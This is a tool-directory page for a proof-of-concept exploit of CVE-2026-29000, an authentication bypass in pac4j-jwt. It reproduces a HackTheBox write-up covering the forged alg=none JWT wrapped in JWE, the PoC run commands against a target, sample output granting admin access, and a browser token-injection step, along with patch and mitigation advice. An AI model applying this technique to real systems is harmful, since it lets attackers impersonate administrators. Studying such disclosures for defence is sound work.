Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29000-pac4j-jwt-auth-bypass — Proof-of-Concept (PoC) for an authentication bypass vulnerability affecting applications using pac4j-jwt with JWE (JSON Web Encryption). | Kitploit
Tools/GitHubGitHub/ptechamanja/cve-2026-29000-pac4j-jwt-auth-bypass
Vulnerability AnalysisExploitationWeb SecurityCTFPenetration TestingAuthentication
GitHubptechamanja/cve-2026-29000-pac4j-jwt-auth-bypass

CVE-2026-29000-pac4j-jwt-auth-bypass

Proof-of-Concept (PoC) for an authentication bypass vulnerability affecting applications using pac4j-jwt with JWE (JSON Web Encryption).

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

HTB Principal — CVE-2026-29000 Writeup

Disclaimer: This exploit was developed solely for the retired HackTheBox machine "Principal". For educational purposes only. Do not use against systems you do not own or have explicit permission to test.

Machine Info

FieldDetails
NamePrincipal
PlatformHackTheBox
Difficulty—
StatusRetired

Vulnerability — CVE-2026-29000

Affected library: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
Severity: Critical
Type: Authentication Bypass

Summary

A logic flaw in JwtAuthenticator allows an attacker to bypass authentication by wrapping an unsigned PlainJWT (alg=none) inside a JWE (encrypted JWT).

When the server decrypts the JWE, it attempts to parse the inner token as a SignedJWT. Because the inner token is a PlainJWT, the SignedJWT object is null and signature verification is skipped entirely. The server then builds a user profile from the unverified claims — allowing full impersonation of any user, including admins.

Attack Requirements

  • The server's RSA public key (often exposed via JWKS endpoint)
  • Knowledge of internal claim names (e.g. roles, subject format)

Exploit Flow

root@kitploit:~
Craft malicious claims (sub=admin, role=ROLE_ADMIN)
        ↓
Build unsigned PlainJWT (alg=none)
        ↓
Wrap PlainJWT inside JWE using server's RSA public key
        ↓
Submit JWE token to server
        ↓
Server decrypts JWE → finds PlainJWT → skips signature check → grants access

Exploit

See exploit.py


Fix

Upgrade pac4j-jwt to a patched version:

  • 4.5.9 or later
  • 5.7.9 or later
  • 6.3.3 or later

Or explicitly reject PlainJWT inner tokens after JWE decryption:

root@kitploit:~
if (jwt instanceof PlainJWT) {
    throw new CredentialsException("PlainJWT not allowed inside JWE");
}

⚙️ Attack Flow

  1. Retrieve public key from:
root@kitploit:~

/api/auth/jwks

  1. Craft malicious JWT:
  • alg: none
  • Inject admin role
  1. Wrap inside JWE using public key

  2. Send as:

root@kitploit:~

Authorization: Bearer <token>

  1. Gain unauthorized access

🛠️ PoC Usage

Install dependencies

root@kitploit:~
pip install jwcrypto requests

Run exploit

root@kitploit:~
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard

📤 Example Output

root@kitploit:~
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...

[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")

[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}

🌐 Browser Exploitation

Open DevTools → Console:

root@kitploit:~
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")

Then navigate to:

root@kitploit:~
/dashboard

🔥 Impact

  • Full authentication bypass
  • Privilege escalation to admin
  • Unauthorized API access
  • Potential lateral movement

🛡️ Mitigation

  • Always verify JWT signatures (JWS) after decryption
  • Reject tokens with alg: none
  • Enforce strict token validation policies
  • Do not rely on encryption alone for trust

👤 Author

  • Doomsknight

References

  • pac4j security advisory
  • HackTheBox
Download Tool